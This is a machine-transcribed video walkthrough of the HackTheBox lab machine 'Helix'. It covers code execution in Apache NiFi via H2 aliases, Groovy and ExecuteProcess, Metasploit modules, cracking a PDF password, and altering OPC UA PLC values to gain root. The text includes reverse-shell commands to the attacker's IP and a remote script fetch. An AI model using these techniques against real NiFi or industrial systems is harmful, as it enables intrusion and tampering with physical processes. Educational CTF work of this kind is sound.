HackTheBox - Helix
Transcript
Machine-transcribed by YouTube. Expect errors in names, commands and version numbers.
What's going on YouTube? This is IPSC and today we'll be doing Helix from Hack the Box and the theme of this box is an ICS SCA system starting with Apache Niffy. This is a flow-based data processing engine which sounds complex but essentially it's just a drag and drop interface that enables operators to essentially program without any programming knowledge. This type of interface is common in the ICS world and exploitation is simple. Many people used a CVE but in reality code execution is a feature so you can just get a shell right away. Once on the box, you discover some PDFs that talk about a PLC, which is a programmable logic controller. And this monitors the temperature and pressure. When it hits a certain threshold, the system will go into maintenance mode, allowing root access. So, we can connect to the interface over OPC, change the temperature, and then just pseudo a root. So, with all that being said, let's jump in. As always, we're going to start off with an end map. So, - SC for default scripts, SV numerate versions- to give us things like the TTL OA output all formats, put in the end map direct, and call it helix. and then the IP address of 10129245.123.
This can take some time to run, so I've already ran it. Looking at the results, we have just two ports open. The first one being SSH on port 22, and the banner
tells us it's an Ubuntu server. Then we have HTTP on port 80. Its banner tells
us it's engine X also running on Ubuntu and is directing us over to Helix.htb. So let's go ahead and add this to our host file. pseudo v etsy host and then we can add helix.htb. I thought I had this on my clipboard, but I guess clicking around I was changing my clipboard. It was. There we go. So, we can save this. And then let's go take a look at the page. So, I'm going to go to http elix.htb
and we get a page. So, um we have engineering operational certinity. I'm mispronouncing that word probably, but it looks like a relatively big page. The first thing I want to do is look at the 404 and we just get a default engine X. So, we don't know exactly what this page is. We could do like index.html, we get a page. If we do index.php, we don't get anything. So, right now, I'm thinking this is just a static website, right? The other thing I like doing is looking at the host head host headers. So, I can do a curl dash I um and look at it. And I don't see anything that really sticks out, right? Um if we click around, we have services. It looks like this may be like a skater or something like we have um ICS is what I was thinking of, but PLC's, DCS, SCA, whatever, reliability engineering, more um ICS security, incident response.
Um if we click start a project, we have this. If I do send brief, uh, what just happened in the background? I'm going to go open up my, um, web tools, start project, send, and I'm not seeing anything actually get sent. Um, I wonder if I have to do all. Yeah, nothing gets sent. So, I think that is kind of a dead end. If we click request call, uh, we can put some data here and see if we get anything here.
But these web forms don't look like they're doing anything. So, I'm going to guess this is a dead end. Um, so we have two options right now. We can keep poking at the website, which I probably would do. Um, but also I like having some recon go in the background. So, I'm going to do a virtual host scanned. So, I'm going to do fuff um-h for headers. I can say host colon fuzz.helix.htb
URL is going to be this. I'm going to do ac for autoc calibrate. And of course, we need a word list. So opt uh seclist discovery DNS subdomains.
Uh what is it? Yep. With a lowercase top 1 million. Um let's just do the 1100. That should be fine. And that's going to go run. Let's go see if we see anything else. Um request a call industries
contact. Really don't see anything on this page. Um some compliance things.
Looking down, we have one uh host already that is flow. So I'm going to add this to my host file. So pseudo vets host and we can say flow.helix.htb.
Save that. And let's do http flow helix
htb. And we get apache niffy or nifi or
however you pronounce it. Um it's going to redirect us to slashniffy. And this I
don't know exactly what this is used for, but this type of web application is super familiar to like SCADA applications or ICS. Um I don't know exactly what it's called. It's like flowchart diagrams that can execute code. Um right here we see execute SQL and log attribute. A lot of times you'll just see like things you can drop and say when the temperature is this, do this action. Open this pipe. Open this valve. It's just a weird programming language. which reminds me a lot of like Visual Basic 6 and things like that. But what sticks off uh sticks out to me is we have execute SQL. If I go to configure this and we can go to properties, we can look at what database it is, right? And it is going to be using um H2 which is a common thing in Java. I
don't know exactly what it is. Like in my head I equate it to like SQL alchemy like this H2 driver can manipulate multiple databases. Um it may not be that but that's kind of what I equate it to. And if we Google like H2 rce
um database Java maybe we'll get
something right. Uh essentially there is a command where we can um create an alias and then run code on it. We don't need a CVE. I know a lot of people are going to say there's a CVE at play here, but I don't think there is in this application. Uh for this version of Nify, if we go and put SQL in the
database connection URI, we can bypass some filters and execute code. Um that requires it to be like two years out of date. But actually, we don't need to do that at all because um just the way it's
configured. And I'll show a few ways to get code execution here, but this was the obvious one that sticks out, right? Um, all we're doing here is if we create an alias and then um these double dollars is a weird way in Java to do like a single quote um or a quote, right? Like in Python, I think it's Python, you can do triple double quote, and that's unique. And then inside of those triple double quotes, you're free to use a single quote or a double quote without like needing to escape. In Java, the equivalent is with these two dollars, right? So, they create this and then they start creating just a um Java command. So, I'm going to
go ahead and do this and we're going to take advantage of the ability to um run
a script remotely. Um hold on one sec. And the reason I'm doing this is because it's just easier to run, like manipulate it, I
guess. So, I'm just going to go vshell. I'm going to put my commands here. And I don't know if I want this. Let's see.
Create alias reverse. Um,
I'm going to call it exact real quick. We'll do exact and then string. What do we call this?
Um, I don't like how this is formatting. I miss my like syntax highlighting.
I'll just do exec. That's going to be a
string. We do cmd. Um, normally we would do like a throw, like we can throw different error messages, but I don't think we have to worry about that. Let me just do this to clean it up a little bit. There we go.
Um, I'm always just going to return. Okay, I guess I could return like true or whatever, but that should be fine. And then we need some Java syntax to run a command. So I'm going to do new process builder and I'm going to guess it's been bash is location. Then we can say dash c
and then we're going to pipe in our command and then we just do start. And
this is just simple Java. I think that is all good. And then we want to run the
command. So I'm going to do um
it's either call or select. I think select will work. Exact. And then bash-
i devtcp 10 10 1041 171 91 0 and 1. That
should be fine. If you watch a lot of my videos, you're like, why aren't you doing the bash C before this? Right. Well, we got the bash dash C up here. No need to like double do it, right? And that should be fine. Um, I wonder if this could be on a separate line. Maybe this makes it easier to read. like that's what it actually looks like, but I want to say
I don't know if it matters, but that's how we're going to run. Um, let's save this and we'll see if it works. So, let's do nvnmpp 90001. We
have to do Python 3 m http server.
And then let's go back here. And then
let's see. Um, we're in the DB connection pool. We don't want to change anything with the database. I'm going to go to execute SQL. And then I have a prequery here. And I'm just going to do run script from and then my web server. So 10 1041 171 8000
shell like this. Oh shoot, I hit escape. Did not mean to run script from
http 1010 10141 171 8000
like that. I think that's it. Oh, we need a I called a shell, right? Yep.
Save that. Apply and run. So, we have a hit and we did not get the shell. So, something did not work here. Not exactly sure what it is. So, let's do V dubdubdub shell. So, create alias
exec. Let's see. I wonder if I that can't be it, right?
run once. We got it. Don't have a shell. So, that was not it. Let's see. New process builder bin bash cmd b- devcp.
That is my IP.
Wonder if I need throws java io
exception.
Let's do run once.
Third time. We still don't have anything. What if I just do Is there any timeouts? Select one. Max wait.
I change this to 5 seconds.
Run once. We're getting the shell just not calling back. So, create alias
exec as
I wonder if Hold on one sec. Let me try something real quick. I'm just going to call it shell.
Shell.
It could also be um what I'm thinking
here is maybe exec is already used and it's erroring on the create alias portion portion. So I'm hoping that fixes it. Run once.
No. What if I don't do run once? If I just um let's see go here.
Oh, it's thinking still.
Start seeing it multiple times. Uh, this is a 200 message, so that works.
Let's see.
I must have a typer somewhere that I'm not noticing.
new process builder bin bash.
Let's see.
Copy this. Maybe this will tell me what I'm doing wrong. Let's go to auto mode. Uh key ring needs
to unlock. Okay. Um, is this valid
H2 database code? Paste. And let's see
what it says. Maybe I have a typoer somewhere.
That should really start. I wonder if I need to do like X equals. Okay, with some editing magic, I have logged in to um Anthropic. So, we're just seeing what it says. Um, I really thought I did this correctly, but I guess I don't know how to write Java, which does not surprise me. So, let's see. Almost one thing isn't a class. It should be.
Let's see. Create alias.
I don't know what's different here.
Copy that. CD dubdubdub shell.
Oh, Java. Okay,
it's java.io.io exception.
Okay, let's see if this fixed it. And we have a shell. Awesome. So, that was it. Um, that was a little bit painful, but it's actually much easier than this, right? We don't even have to get into this whole H2 stuff if we just understand what the application we're dealing with is, right? Um, if we go over and drag a processor here, we have
all the various processors we can use. If I type exec, um, we have this execute SQL. And I think that's why most people stuck here because the shield says we have to have some type of permission and we didn't really log in as anyone, but it still works. Um, which is weird. I'm guessing it's just configured in an odd way. So, if we drag this execute groovy script, and I know um I'm going to do bash in a second. I just want to show this because I actually started with um Groovy. I don't know why I didn't do bash. I just did the first one. Um, let's see. Groovy run system command. Uh
each of these is a little bit weird. So I'm just going to show them each. Um so we can do this and then let's see. We just do the command.execute which is super simple. Um let's go back
here. Uh let's do I'm just going to do a touch and I'm going to prove it that way. Uh, so let's do Python 3- C import pty pty.spawn
bin bash like this. Let's get a shell
sty raw minus echo foreground enter.
And then we can export term is equal to xterm and that will let us clear the screen. Awesome. Okay, so let's do witch touch. We probably don't need the full path, but I just wanted to have it. So we'll do devshm groovyr rcce. And what do we do?
Okay. Like this. Do that. Um let's see. Failure strategy. That should be fine. Uh yield. I'm just seeing if there's anything else we need. I don't think so. Apply. And then if we try to run it, I don't think it lets us run it yet. We don't have rce u we have invalid. So what I'm going to do is give it an output. So let's go with an output port here. Um I'm just going to call it out. We don't need anything. I'm going to say this command sends output to this block for both failures and success. And now it lets me run it. So if I do run once, we can see it's running lsla
and we have groovy rce. So that is one way to get this. Um, if we delete Groovy now, we're going to do a new processor and then we're going to just do exit execute. We can say execute process. Do
the same thing. Drag it here and then configure. And let's see for the command we want bin bash, right? And then command arguments is going to be - C and then bash- dev TCP 10104171 9001 0 and one like that. And
I mix up the quotes. And this is bold. So argument delimiter is actually a required field. Um we
don't want to do space because if I just do space, I'm worried it's not going to care about those quotes. So I'm going to set the argument delimiter to a pipe.
And then right where we have the pipe, I'm going a space. I'm going to replace that with a pipe. So now we're going to call bash. This is going to be the first argument. And then this is the second one. Right? So I can just save that. Click apply. And then if I went up here,
nvnp 9,0001, and I'm going to do run once. And we get a shell. So this had a lot of ways to get code execution. Um, these are always vulnerable whenever you hit like an IC thing. If you log into seammens or something like that, you can normally find good ways to execute code. The downside is if you land on a seams, you probably don't have bash and things like that. So, it's very hard to do something malicious like we just showed here. But, um, yeah, that is this. So, let's go figure out what we have on our box. And I want to get back into this opt niffy directory because the next step is going to be important. We should be here. Um,
I can close that. Let's see. That is stopped. All that is good. I just want to make sure my web server like wasn't retrieving a 100 requests in a second or something while we worked. Oh, and one last thing. I know this all seemed complicated. If you want to take the super easy route, you could always just do um metas-loit, right? If we do pseudo msfdb run, uh, let's see. We should be able to do search niffy. Um, I'm going to go up look for Apache.
It looks like we have this Apache Niffy H2 rce. So we can say use this show
options. Uh set LHOST ton zero. Set our host. Um
let's see the target host. I'm just going to say flowh helix.htb set target URI is probably slashniffy
set Was it our port
80 set vhost flow
helix htb I think that is all the options let's see that looks good that's fine sure that's
looks good if I do run let's see um open ssl error sets the cell false.
That is not what I expected.
Let's see. Set target URI slash
flow helix. Maybe it automatically did niffy delay 30
run. There we go. DB connection pool created successfully. sent. And now it's starting a processor. We should get a shell. Come on. What is it doing? If I refresh,
we can see it created this. What is the code? It is running. So, it's doing execute SQL. I guess it changes things. It created this database connection pool. So, if you're a defender and ever see like a six r um character random string, metas-plate loves doing that for some reason. Um
says waiting 30 seconds.
Let's see.
It stopped. We never got the shell though. I don't know why.
And it cleaned up.
LS.
I swear this has worked before for me.
Um, let's see.
Set payload. Um,
interpreter. Let's see. Show payloads.
Where is my interpreter? CMD Unix Python.
Come on payloads
reverse. Maybe this generic reverse
shell.
Is there any other good ones?
Shell reverse
set payload. This show options
run. Let's see.
Something is not working with this script, which is weird.
I don't know exactly what it is. It says invalid. So, I guess it doesn't like the connection pool that it's creating.
Um, that must be it. So, it's creating a connection pool. I'm guessing this points to like the database. Like maybe this niffy right here does not exist. This database driver location. That must be why this metas-loit's failing. Um it's probably doing something wrong with that. If we look at the maintenance DB, uh you can see the location's completely different than this.
I'm not sure exactly how to fix that. Let's see. Bearer token. I don't see anything here. Um let's see. Search Niffy. Is there any other
ones Apache Niffy version rce? Okay, we can probably try this one. Use this show options set lhost ton zero
set or port. I probably should have done g sets. Um g set is a global set, so we just save it between modules, but oh well. Uh, vhost flow helix htb set our
host flow helix htb run. We may have to
do SSL set SSL
false run. Uh, we need our port. Shoot.
Wait, I did our port. Show options. Oh, we got a shell open. Um, use one.
sessions i1 ID. There we go. So that's
doing it through um metas-ploit.
Uh so hope you guys enjoyed that, but we can get back to where we were on this um shell in the application. So if we look at all these files, um we have quite a bit. And I don't really like this step. Uh but it is one of the things that is valuable. Whenever you land on a box, you need to know how to parse a lot of data very quickly. Um, one thing I like doing is going in these types of directories and doing like find-f and then we can run a command against all the files. So, I'm going to run um file against everything to get the file types. And then I'm just going to write it to devshm files.list.
Right. And this is going to take a little bit to run. I probably should have piped error messages out somewhere, but um maybe it won't even error. Uh,
and I probably should have ran this vine command while I was um playing with metas-ploit because this does take like 1 to 2 minutes to run. So I'm going to pause the video and we'll return when this is done. Okay. And now that command is done. So if I do a head against it, you can see what we have. We have the file name and then colon the type of file it is. So we can see a bunch of zip archives, things like that. What I'm going to do is an o. We're going to separate on a colon and we're going to print the second field. Right? If I do that to head now, all we have
Oh, hold on. Uh oh.
That's okay. Sweet. Uh we've got to do
dev shm files uh list. Right. There we
go. So now we just have a list of all
the types of file. Right. So, I want to grab um we'll do a sort then unique- C and then sort NR. And what this does is show
us all the unique things, right? And whenever going through a lot of data, I always like just looking at um the like most common and least common things. Uh right here, we have a lot of uniqueness just based upon like this um number. So, what I'm going to do before, and hold on one sec. We have to uh do sty- a rows 30 columns 121. SDI rows 30
columns 120 or 30 21. There we go. So,
now I can go left and right here. Um, let's see. I'm going to pipe it to another ar and we can just do print one two three.
We'll grab the first three words of everything now. So this should just grab axi text width, right? And we can see a
much easier output. Um we have a bel
shell script here going up. One thing that stands out open ssh private key, right? Um some c source whatnot. But if I look at gp open ssh on devshm
files.list we can see this support bundle operator id.back. So if we cat this file
we have a ssh key. So let's go ahead and copy this to our host. So let's do
um v operator.key. and operator was the name of the file, right? That was um operator id225519.back. But what I would normally do when I see a straight SSH key, um if we do a GP-V,
let's get everything that begins with a dash out of here. Then we can say B 64-d
and then pipe it to xxd. We can see where it comes from because the very bottom there's going to be the like public key. Here we can see root at management is what um generated this key. So you may think this could be the key to root, right? So if we do chmod 600, what would we call it? Operator. SH-I operator root at helix.htb.
That is not the case. Um the keys name actually goes like the file name was the username. It's operator. And you could also just do like a gp everything that ends in sh and etsy pass wd to see the valid users and you only have root and operator. Right? So if we just do this,
it should let us in. There we go. We can do an ls and we got user.ext and then two files. We have control system diagram.png and this pdf. So let's go ahead and copy those files back to us. So, SCP-I operator um flow.htb and I'm just going to do star.star because I'm lazy. Um oh, we have to do wait what?
Oh, it's not flow, it's helix. Duh. And we specify operator. There we go.
Let's do a open on the control system diagram.png. And we can see there is a OPC UA. Um this is like open. What does OPC stand for? Um is it OPC? Yes.
Acronym IC. Go over to Google. I really need to change the default away from duck.go. Um open platform communication. Uh, UA, that's probably like I don't know what UA is now. OPCU UA can't be user agent.
Um, OPCUA stands for uh unified architecture. Okay, so we have it connecting to port 4840. If I go back here, um, SSLnt
GRP 48, we can see it is listening. So,
this is just probably like a PLC or something like that. Um, this doesn't really make too much sense to me. So, if we then look at this PDF,
let's go ahead and open the PDF. So, open operator control and safety. We get a password required, right? So, let's go ahead and um do John to is it PDF to John? Actually, PDF to John. There we go.
have this and then we can SSH into the Kraken where I have hashcat and hashcat should be able to crack this I think v hashes um helixpdf paste and then hashcat
let's see this opt word list rockier text do I
need to specify anything I may have to specify like username because it had the file name colon but I want to say for PDF It uses the file name as um assault.
So it's actually needed. Uh let's try mode 72 100 like that.
Uh that is not good. 73. I don't know what happened there.
Um let's see. I wonder if I can just do John against this. Uh,
let's do this to hash. Uh, John
specify word list. It's been a while since I used John the ripper. I know this like how it handles arguments is slightly off. Um, that's not that odd actually. Uh, let's see. User share list rocku.ext. And then what I call it hash.
There we go. So while that runs, let's see. This is probably going to take a while because it's running on my VM. VM is pretty slow. If I do pseudo-l, I can actually see the operator can run this command as um pseudo. So let's do a pseudo this.
And we see maintenance window closed. So let's go ahead and look at this. So we see flag is equal to this um read until
so it keeps reading this
and let's see we have until time stamp now so it looks like we got some like timestamping thing don't know exactly window okay this is where we are so the window's not okay
and that's pretty much it so something on this box is going to uh probably
change this flag from false to true and then we'll skip over this and then it will run this systemd command which gives us a root shell which is a bit odd but cool. Um if I do cat on this we get
permission denied. So we can't edit this file. Um additionally if I do pseudo-l we can see environment reset happens and we have a secure path. So all these um
that's not it. Hold on like this where we're not doing a full path to the date command. It's not vulnerable to any type of like path hijacking or things like that because pseudo is resetting it. So we don't control the path to be able to abuse any of that. Um
let's see. We do have a crack now from John and the password was operator one. So let's go ahead and now open this. So
if we do open that put operator one and now we can read this PDF. So scrolling through this uh we have temperature, pressure, calibration offset, safety variables, control variables. So control can either be in normal or maintenance mode. We have a test override and a reset trip. Um, this isn't really making too much sense to me, but in normal mode, calibration zero, test override must be disabled. And then if we want to enable maintenance mode, let's see, trip reset,
scrolling down, maintenance window. So, we switch the mode over to maintenance. We enable test override and then we begin ramping up calibration offset
until the temperature reaches around 290 degree uh 95 degrees Celsius or 73 bar as a pressure threshold. So we have to
get into the PLC. Now I'm saying PLC. It may not actually be a PLC but um bear
with me. So that was listening on like port 48 something right according to the diagram that is right here. So let's go ahead and forward this port back to us. So we'll do dl 4840 127001 4840. So now I can interact with that port. Um
if I look at the what is it control
system diagram that is going to be helix. So, we want to um edit this. So, I'm going to Google, let's see, OPC UA guey GitHub. Let's
see. Free OPC. We got a OPC guey client.
So, let's go ahead and download this. Uh, get clone. I wonder if I do this or
um maybe there's a release. I don't know why this isn't loading. Um, let's see. Can we go in here? Python test. There we go. Let's see. Releases. Come on. Do you have a release? GitHub is going slow. Well, my browser is one of these things just is not working well.
Waiting on GitHub assets. Oh, release history. Sweet. releases
assets MSI and source code doesn't help
us async let's see
uh UV
integration this should be all we need to do so we do UV sync and then UV run the Python app.py pi
and we have the URL and I don't know how to make this font bigger. Um that doesn't really do anything. Actions connect. So unfortunately I don't think I can make this font bigger but we have OPCTP localhost4840 and then it said /helix. I can do connect. Um
that did not work. Uh 1270
0 01 connect. Connection refused.
Oh, I did 48. I must have typed that weirdly. Um
I'm going to restart this connection.
D-L4840.
What was the port? SSL and DP 4840. Okay.
D-L 4840 127001
4840. Is that what I had? What was it before?
I have 4848. Okay. So, now we connect. I was going to connect anonymous. See if this works.
I didn't get an error right away.
It's kind of hung. We got disconnect, auto reconnect. It's thinking
settings, dark mode. That's not anything. Let's see.
Wonder if we needed credentials. Clicking refresh. We don't get anything.
I'm going to restart this application.
UV run Python app. Yep.
It had a trailing slash. I wonder if that's also important. So, we connect.
Connection warning server fault.
Connection reestablished. I don't know what all these errors are.
I wonder if this is a different version of OPC.
Let's see.
Open
this opctcp
4840/helix
that is right
let's see the pass of the PDF was operator uh operator one so let's try this operator operator connect. Does this do anything different? Okay, so maybe we needed credentials. So I just guessed the username is operator and then the password was operator one. So looking at this uh we can see all these um registers I guess. So clicking around
we have control mode. Let's see.
reset trip reactor.
We do server. No. So, right now, I'm just clicking around and looking for something that would say normal because now uh we want to switch the mode from normal over to maintenance. Oh, here we go. We got one that says mode disconnected. Auto reconnect in progress. Did my like SSH session die?
Okay, that looks fine. So, if I click
mode, let's see. Node ID
value is set to normal. So, I'm going to do maintenance. And there is one other thing I probably should be looking at. Hold on one second. There is 8080 and 8081.
So, let's forward those ports real quick. DL L 127 0001 8081
D-L 8080
Let's see local host 8080 that's actually 127001
oh come on
8081 there we go so we You can see the mode is maintenance. Um, and we got the temperature here. So, let's go back into this. We got this test override. The value is false. So, I'm going to change the value to true. And then when we refresh this, we got true. Test mode is activated. And then
we want to set the temperature. So, if we look at this, we have reactor and we got a calibration offset. If I set the value, let's go to two.
Refresh. 286 whatever Celsius. I'm going to do six. Is the temperature going up? It is. Um,
test mode activated. Let's go to eight.
292. What do we need to get this temperature to? So, looking at this, we needed 295 Celsius and we were at what? 292. I'm going to keep ramping this up like it said. So, value of 10. 294.5. So hopefully the next time we increment this,
it will go up. And did I just close?
Where' my window go? Oh, come on. My
application crashed. Connect operator. Operator one.
That's annoying.
Okay. Or was this object server? No.
Plant reactor calibration offset.
Let's do 12. Refresh. And now we have the maintenance window open for another 110 secondsish.
So now if I go back here, I do pseudo-l
and run the script again. uh pseudo wheel route. Um and that's because that maintenance window was set, right? If we look at the script, um whenever we go into maintenance, it changes this f uh file to be the timestamp probably when maintenance closes. So, um that's going to be the box. Hopefully, you enjoyed it. I know the end kind of doesn't fully make sense. It's a weird like SCADA ICS thing. I If you use these systems, it kind of makes sense, but in the sense of realism, I don't know. But, um, yeah. Hope you guys enjoyed it.





